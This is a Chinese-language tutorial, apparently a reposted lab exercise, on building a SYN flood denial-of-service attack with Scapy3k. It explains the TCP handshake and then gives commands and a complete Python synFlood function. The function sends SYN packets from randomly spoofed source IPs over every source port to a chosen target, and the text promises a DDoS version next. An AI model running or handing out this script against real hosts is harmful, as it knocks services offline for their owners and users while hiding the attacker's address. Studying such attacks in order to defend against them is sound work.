zoukankan      html  css  js  c++  java
  • Scapy实现SYN泛洪攻击

    一、实验说明

    1.实验介绍

    本次实验将使用python3版本的Scapy--Scapy3k来实现一个简单的DDos,本次实验分为两节,本节将学习如何使用Scapy3k来实现SYN泛洪攻击。

    2.知识点

    1. SYN泛洪攻击的实现原理
    2. Scapy3k的基本用法

    3.效果图

    此处输入图片的描述

    二、基础知识

    以下部分内容整理自百度百科、360百科和Scapy3k官方文档:

    1.SYN泛洪攻击

    SYN泛洪攻击(SYN Flood)是一种比较常用的DoS方式之一。通过发送大量伪造的Tcp连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或者内存不足) 的攻击方式。

    我们都知道建立Tcp连接需要完成三次握手。正常情况下客户端首先向服务端发送SYN报文,随后服务端回以SYN+ACK报文到达客户端,最后客户端向服务端发送ACK报文完成三次握手。

    正常TCP连接

    SYN泛洪攻击则是客户端向服务器发送SYN报文之后就不再响应服务器回应的报文。由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定的时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在半连接状态。这样将不断消耗服务器资源,直到拒绝服务

    SYN Flood

    2.Scapy3k基本用法

    Scapy3k其实就是Scapy的Python3版本,以下我就简称ScapyScapy是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试中应用非常广泛。Scapy是一个独立的程序同时还可以作为Python的第三方库使用。是不是有些迫不及待的想见识一下Scapy的强大之处了?

    我们先在实验环境中安装Scapy3k:

    sudo pip3 install scapy-python3
    

    此处输入图片的描述

    现在运行scapy学习一下它的使用方法。

    sudo scapy
    

    这里需要注意:Scapy发送数据包需要root权限,所以这里我们加上了sudo。另外运行的时候会出现一些警告信息,我们这次实验没有用到相关的功能可以不用管,需要用的安装相应的依赖包就可以了。

    此处输入图片的描述

    现在我们用Scapy构造一个简单的数据包看一下:

    pkt = IP(dst="192.168.0.100")
    

    此处输入图片的描述

    可以看到Scapy构造一个数据包非常简单,我们再来看一下如何构造SYN数据包:

    IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
    

    我们构造了一个IP包和TCP包并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的。IP包中我们指定了源地址src和目的地址dst,其中src是我们伪造的地址,当然这也是DoS攻击中保护攻击者的一种方式。flags的值我们设定为S,说明我们要发送的是SYN数据包。非常简短的一段指令就够造了一个伪造了源IP地址的SYN数据包,是不是很简单?

    构造了我们想要的数据包,现在我们把它发送出去:

    pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
    send(pkt)
    

    此处输入图片的描述

    至此我们编写SYN泛洪攻击的基本知识就已经全部介绍完了,用这些知识足够我们来完成本次试验了。至于Scapy的更详细用法,可以看一下官方文档,你就会发现Scapy的强大之处。

    三、代码实现

    现在我们要用Python以第三方库的形式使用Scapy,使用方法和用交互式Shell的方式一样,注意:使用前要先导Scapy的包:

    from scapy.all import
    

    之前我们已经构造过了SYN数据包,现在我们需要实现随机伪造源IP地址、以及以不同的源端口向目标主机发送SYN数据包:

    import random
    from scapy.all import *
    
    def synFlood(tgt,dPort):
        srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
        for sPort in range(1024,65535):
            index = random.randrange(4)
            ipLayer = IP(src=srcList[index], dst=tgt)
            tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
            packet = ipLayer / tcpLayer 
            send(packet)
    

    在代码中我定义了srcList用于存放伪造的IP地址,之后定义了一个循环,作用是每次发送数据包源端口都改变,可以看到在构造TCP数据包的时候我们增加了一个参数sport,循环中改变的端口号就是给了sport这个参数。我们还调用random.randrange()函数来随机从srcList中获取一个伪造的IP地址。

    至此我们本次实验就完成了,虽然代码非常少不过功能我们却实现的比较理想,这主要是因为Python的语法本身非常简洁,再加上Scapy封装的也非常好,才会让我们写出即简洁功能又强大的代码。

    现在我们只实现了DoS攻击的脚本,在下一次实验我们将继续完善代码,实现DDoS

  • 相关阅读:
    Windows 平台下的Mysql集群主从复制
    IOS 的loadView 及使用loadView中初始化View注意的问题。(死循环并不可怕)
    【2013625】K2+SAP集成应用解决方案在线研讨会
    to_char 和 to_date 经验分享
    Java向Access插入数据
    spring Bean的生命周期管理
    [置顶] 30分钟,让你成为一个更好的程序员
    Spring框架中Bean的生命周期
    Box2D的相关知识
    第八周项目二
  • 原文地址:https://www.cnblogs.com/mrchige/p/6495147.html
Copyright © 2011-2022 走看看